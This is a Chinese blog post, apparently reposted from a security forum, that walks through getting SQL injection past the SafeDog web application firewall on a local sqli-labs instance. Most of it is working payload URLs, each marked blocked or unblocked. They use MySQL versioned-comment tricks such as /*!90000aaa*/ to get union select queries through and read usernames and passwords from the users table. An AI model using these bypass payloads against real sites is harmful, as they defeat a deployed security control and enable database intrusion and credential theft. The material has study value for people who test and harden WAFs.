在t00ls 里面我发的,放博客分享 记录一下
小菜写文章,太菜 希望大佬放过我! 主要分享一下,绕狗的思路 环境:windows7 + phpstudy + safedog v4.0 + Mysql 5.2 cms: sql-labs Mysql 注释符:# -- /**/ 0x01: 注入点:http://192.168.89.132/Sql/Less-1/?id=1 先从 and 1=1 绕过 http://192.168.89.132/Sql/Less-1/?id=1' and 1=1%23 有看过一些前辈的文章,多数都是利用注释符绕过 比如用 /*xxx*/ ?id=1%27and/*xxx*/1=1/*xxx*/%23 (以前 前辈的文章 xxx 进行 字符随机 绕过) 然后我就直接用前辈的怼了一下,发现安全狗拦截 想起CTF的 SQL 函数 进行FUZZ 套路, 首先 我放了一个 and 进去 http://192.168.89.132/Sql/Less-1/?id=1' and (安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' and 1=1 (安全狗拦截) 是空格出现的问题吗? 想到之前看过的文章 把空格 替换成 /**/ 或者 /*xxxx*/ 发现依旧拦截 http://192.168.89.132/Sql/Less-1/?id=1' an1d 1=1(安全狗不拦截) 这里SQL 语句报错, (单个 放and ,单个放 xxx=xxx 安全狗并不拦截 ) 在and 和 xx =xx 放在一起进行了拦截 所以把 and xx=xx 的固定格式进行扰乱 把xx=xx 看做一个整体 放在/*!*/xx=xx/*!*/ 让waf匹配不到 and/**/1=1/**/ (安全狗拦截) and/*!*/1=1/*!*/ (安全狗不拦截) 0x02: 现在 尝试 order by http://192.168.89.132/Sql/Less-1/?id=1' order by (安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' order by 1(安全狗拦截) 按照刚刚的思路 进行模糊测试 http://192.168.89.132/Sql/Less-1/?id=1' order b1y 1(安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' ord1er by 1(安全狗不拦截) 汇总不拦截: http://192.168.89.132/Sql/Less-1/?id=1' order by (安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' order b1y 1(安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' ord1er by 1(安全狗不拦截) 现在用刚刚 绕 and 1=1 的思路 来绕 order by http://192.168.89.132/Sql/Less-1/?id=1' /*!order*/ by 1(安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' order /*!by*/ 1(安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' order by /*!1*/(安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1' order by /*!*/1/*!*/(安全狗不拦截) 0x03: 流程: 1. 判断存在注入 绕过测试 2. 判断列 绕过测试 3. SQL查询语句 绕过测试 SQL查询语句 绕过 这里以(union select 测试) http://192.168.89.132/Sql/Less-1/?id=1' union select (安全狗拦截) 测试了几组 http://192.168.89.132/Sql/Less-1/?id=1' union/*!*/select/*!*/ (安全狗拦截) http://192.168.89.132/Sql/Less-1/?id=1' union /*!select*/ (安全狗拦截) http://192.168.89.132/Sql/Less-1/?id=1' /*!union*//*!select */(安全狗拦截) 发现刚刚的操作 不行了 于是乎 /*!50001*/ 这样想走一波 发现也不可以 这里我就不解释/*!50001*/ 大佬们都知道 因为我记得去年 第一次绕狗的时候,还截图纪念了一下 用 /*!50001*/ 附一下老图: 以前绕的payload:'/*!50001union*//*!select*/user,passwor fromusers -- (可以多看一些前辈文章,即使老的payload 绕不过去了,思路太可贵了!) 后来想了一下继续打乱的方法 /*!90000xxx*/ 这样就可以 , 这里的xxx 是不执行的 但是可以起到扰乱的效果, 也就是在基础的/*!*/ 加点料 到这里还是采用了 0x01 的思路 and/**/1=1/**/ (安全狗拦截) and/*!*/1=1/*!*/ (安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1%27union/*!90000aaa*/select/*!90000aaa*/%201,2,3%23 (安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=1%27union/*!90000aaa*/select%201,2,3%23 (安全狗不拦截) union/*!90000aaa*/select/*!90000aaa*/from (安全狗不拦截) union/*!90000aaa*/select/*!90000aaa*/from users (安全狗拦截) 模糊测试拦截位置 union/*!90000aaa*/select/*!90000aaa*/from us111ers (安全狗拦截) 更改了原本users 这里是为了猜测user 是否敏感 union/*!90000aaa*/select/*!90000aaa*/fr111om users (安全狗不拦截) 猜想 from xxx 拦截? from xxx (安全狗不拦截) union/*!90000aaa*/select/*!90000aaa*/from users union select from xxx 也就是说 union select 是一个整体 在加上 from xxx会拦截 那么我把from xxx再放起来 http://192.168.89.132/Sql/Less-1/?id=-1%27union/*!90000aaa*/select%201,2,3/*!90000aaa*//*!90000aaa*/from%20information_schema.tables/*!90000aaa*/%23(安全狗不拦截) http://192.168.89.132/Sql/Less-1/?id=-1%27union/*!90000aaa*/select%201,username,password/*!90000aaa*//*!90000aaa*/from%20users%20limit%202,1/*!90000aaa*/%23 (安全狗不拦截) 后面写了一个安全狗的tamper 绕狗的方法还有很多,继续学习····· 安全狗其实用参数污染 绕更方便一点。 |